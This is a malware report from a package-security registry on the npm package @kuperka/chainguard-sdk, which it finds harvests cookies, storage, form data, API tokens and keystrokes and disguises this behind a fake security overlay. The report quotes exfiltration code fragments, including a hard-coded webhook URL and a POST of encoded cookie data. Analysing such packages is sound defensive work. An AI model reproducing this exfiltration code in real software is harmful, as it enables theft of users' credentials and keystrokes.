registry / Credential exfiltration / @kuperka/chainguard-sdk
@kuperka/chainguard-sdk
This report shows the evidence for @kuperka/chainguard-sdk@1.0.3. 3 of 3 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms an intentional browser data-exfiltration payload and deceptive UI. Lack of an install hook reduces automatic reachability but does not negate the concrete malicious behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
A consumer imports app.js in a browser and calls window.__VEIL__.init().
Impact
The caller page's cookies, storage, form values, detected credentials, wallet metadata, and typed input can be exposed.
Mechanism
Browser credential harvesting, keylogging, and webhook exfiltration.
Attack narrative
When initialized in a browser, app.js gathers sensitive page state and form inputs, scans HTML for common API tokens, and attaches a keydown listener. It base64-encodes and transmits this data to a hard-coded webhook, falling back to an image request. Its ChainGuard-themed overlay claims no threats were detected, concealing the collection activity.
AI rationale
Direct source inspection confirms an intentional browser data-exfiltration payload and deceptive UI. Lack of an install hook reduces automatic reachability but does not negate the concrete malicious behavior.
Evidence
app.jspackage.json
Network endpoints1
webhook.site/b9155136-5f6d-4084-b19e-33c694a44616BHOOK_URL
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- app.js collects cookies, localStorage, sessionStorage, form values, and page metadata.
- app.js searches page HTML for Stripe, AWS, GitHub, and JWT credentials.
- app.js installs an input keylogger and sends buffered keystrokes externally.
- app.js POSTs base64-encoded collected data to a fixed webhook, with image-GET fallback.
- app.js presents a deceptive ChainGuard UI reporting “No Threats Detected” after collection.
Evidence against
- package.json has no preinstall, install, or postinstall hook.
- The payload requires an explicit call to window.__VEIL__.init(); import alone only assigns the object.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
2 flagged · loading sourceapp.jsView file
•Browser cookie sent to a fixed external endpoint in app.js:
var HOOK_URL = 'https://webhook.site/b9155136-5f6d-4084-b19e-33c694a44616BHOOK_URL'; // Замени на свой
cookies: document.cookie,
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
app.jsView on unpkg•Trigger-reachable fixed external POST callback chain: manifest.main -> app.js
var HOOK_URL = 'https://webhook.site/b9155136-5f6d-4084-b19e-33c694a44616BHOOK_URL'; // Замени на свой
// Теперь шлём POST-запросом, чтобы не упираться в лимит URL
var e = b64(JSON.stringify(d));
method: 'POST',
High
Trigger Reachable External Post Callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
app.jsView on unpkgFindings
1 Critical1 High2 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationapp.js
HighTrigger Reachable External Post Callbackapp.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @kuperka/chainguard-sdk@1.0.3.
The versions list below shows the verdict for each recorded version.
- Avoid installing @kuperka/chainguard-sdk@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.